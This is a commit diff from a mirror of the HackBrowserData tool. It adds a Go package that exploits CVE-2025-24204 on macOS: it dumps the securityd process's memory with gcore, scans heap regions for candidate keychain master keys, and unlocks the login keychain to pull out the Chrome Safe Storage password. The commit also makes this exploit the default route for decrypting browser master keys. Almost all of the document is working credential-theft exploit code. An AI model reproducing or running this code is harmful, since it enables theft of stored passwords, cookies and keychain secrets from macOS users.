mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
feat: Decrypt the browser master key on macOS via CVE-2025-24204 (#494)
* feat: Decrypt the browser master key on macOS via CVE-2025-24204 * fix: resolve lint warnings and stabilize tests * feat: default to gcoredump key extraction on macOS
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/types"
|
||||
@@ -24,6 +25,18 @@ var (
|
||||
func (c *Chromium) GetMasterKey() ([]byte, error) {
|
||||
// don't need chromium key file for macOS
|
||||
defer os.Remove(types.ChromiumKey.TempFilename())
|
||||
|
||||
// Try get the master key via gcoredump(CVE-2025-24204)
|
||||
secret, err := gcoredump.DecryptKeychain(c.storage)
|
||||
if err == nil && secret != "" {
|
||||
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
|
||||
if key, err := c.parseSecret([]byte(secret)); err == nil {
|
||||
return key, nil
|
||||
}
|
||||
} else {
|
||||
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
|
||||
}
|
||||
|
||||
// Get the master key from the keychain
|
||||
// $ security find-generic-password -wa 'Chrome'
|
||||
var (
|
||||
@@ -43,10 +56,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
|
||||
return nil, errors.New(stderr.String())
|
||||
}
|
||||
|
||||
secret := bytes.TrimSpace(stdout.Bytes())
|
||||
return c.parseSecret(stdout.Bytes())
|
||||
}
|
||||
|
||||
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
|
||||
secret = bytes.TrimSpace(secret)
|
||||
if len(secret) == 0 {
|
||||
return nil, errWrongSecurityCommand
|
||||
}
|
||||
|
||||
salt := []byte("saltysalt")
|
||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
//go:build darwin
|
||||
|
||||
package gcoredump
|
||||
|
||||
// CVE-2025-24204
|
||||
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
|
||||
// https://support.apple.com/en-us/122373
|
||||
|
||||
import (
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
|
||||
)
|
||||
|
||||
var (
|
||||
homeDir, _ = os.UserHomeDir()
|
||||
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
|
||||
)
|
||||
|
||||
func GetMacOSVersion() string {
|
||||
v, err := unix.Sysctl("kern.osproductversion")
|
||||
if err == nil {
|
||||
return v
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func FindProcessByName(name string, forceRoot bool) (int, error) {
|
||||
buf, err := unix.SysctlRaw("kern.proc.all")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
|
||||
}
|
||||
|
||||
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
|
||||
if len(buf)%kinfoSize != 0 {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
|
||||
}
|
||||
|
||||
count := len(buf) / kinfoSize
|
||||
for i := 0; i < count; i++ {
|
||||
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
|
||||
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
|
||||
pname := byteSliceToString(proc.Proc.P_comm[:])
|
||||
if pname == name {
|
||||
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
|
||||
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
|
||||
// If P_ppid is missing, we can rely on P_ruid.
|
||||
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
|
||||
return int(proc.Proc.P_pid), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("securityd process not found")
|
||||
}
|
||||
|
||||
type addressRange struct {
|
||||
start uint64
|
||||
end uint64
|
||||
}
|
||||
|
||||
func DecryptKeychain(storagename string) (string, error) {
|
||||
if os.Geteuid() != 0 {
|
||||
return "", errors.New("requires root privileges")
|
||||
}
|
||||
|
||||
// find securityd PID
|
||||
pid, err := FindProcessByName("securityd", true)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
||||
}
|
||||
|
||||
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
|
||||
defer os.Remove(corePath)
|
||||
|
||||
// dump securityd memory:
|
||||
// gcore -d -s -v -o core_path PID
|
||||
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||
}
|
||||
|
||||
// find MALLOC_SMALL regions
|
||||
regions, err := findMallocSmallRegions(pid)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||
}
|
||||
|
||||
// open core dump
|
||||
cmf, err := macho.Open(corePath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to open core dump: %w", err)
|
||||
}
|
||||
defer cmf.Close()
|
||||
|
||||
// scan regions
|
||||
var candidates []string
|
||||
seen := make(map[string]struct{})
|
||||
for _, region := range regions {
|
||||
// read region data
|
||||
data, vaddr, err := getMallocSmallRegionData(cmf, region)
|
||||
if err != nil {
|
||||
// Region might not be in core dump or other error, skip
|
||||
continue
|
||||
}
|
||||
// Search for pattern
|
||||
// 0x18 (8 bytes) followed by pointer (8 bytes)
|
||||
for i := 0; i < len(data)-16; i += 8 {
|
||||
val := binary.LittleEndian.Uint64(data[i : i+8])
|
||||
if val == 0x18 {
|
||||
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
|
||||
if ptr >= region.start && ptr <= region.end {
|
||||
offset := ptr - vaddr
|
||||
if offset+0x18 <= uint64(len(data)) {
|
||||
masterKey := make([]byte, 0x18)
|
||||
copy(masterKey, data[offset:offset+0x18])
|
||||
|
||||
keyStr := fmt.Sprintf("%x", masterKey)
|
||||
if _, found := seen[keyStr]; !found {
|
||||
candidates = append(candidates, keyStr)
|
||||
seen[keyStr] = struct{}{}
|
||||
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// fuzz master key candidates
|
||||
for _, candidate := range candidates {
|
||||
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
|
||||
if err != nil {
|
||||
log.Debugf("Failed to unlock keychain: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
records, err := kc.DumpGenericPasswords()
|
||||
if err != nil {
|
||||
log.Debugf("Failed to unlock keychain: %v", err)
|
||||
continue
|
||||
}
|
||||
for _, rec := range records {
|
||||
if rec.Account == storagename {
|
||||
// TODO decode base64 password
|
||||
if rec.PasswordBase64 {
|
||||
}
|
||||
return rec.Password, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func findMallocSmallRegions(pid int) ([]addressRange, error) {
|
||||
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var regions []addressRange
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "MALLOC_SMALL") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
rangeStr := parts[1]
|
||||
rangeParts := strings.Split(rangeStr, "-")
|
||||
if len(rangeParts) != 2 {
|
||||
continue
|
||||
}
|
||||
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
regions = append(regions, addressRange{start: start, end: end})
|
||||
}
|
||||
}
|
||||
return regions, nil
|
||||
}
|
||||
|
||||
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
|
||||
for _, seg := range f.Loads {
|
||||
if s, ok := seg.(*macho.Segment); ok {
|
||||
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
|
||||
data := make([]byte, s.Filesz)
|
||||
_, err := s.ReadAt(data, 0)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return data, s.Addr, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, 0, fmt.Errorf("region not found in core dump")
|
||||
}
|
||||
|
||||
func byteSliceToString(s []byte) string {
|
||||
for i, v := range s {
|
||||
if v == 0 {
|
||||
return string(s[:i])
|
||||
}
|
||||
}
|
||||
return string(s)
|
||||
}
|
||||
Reference in New Issue
Block a user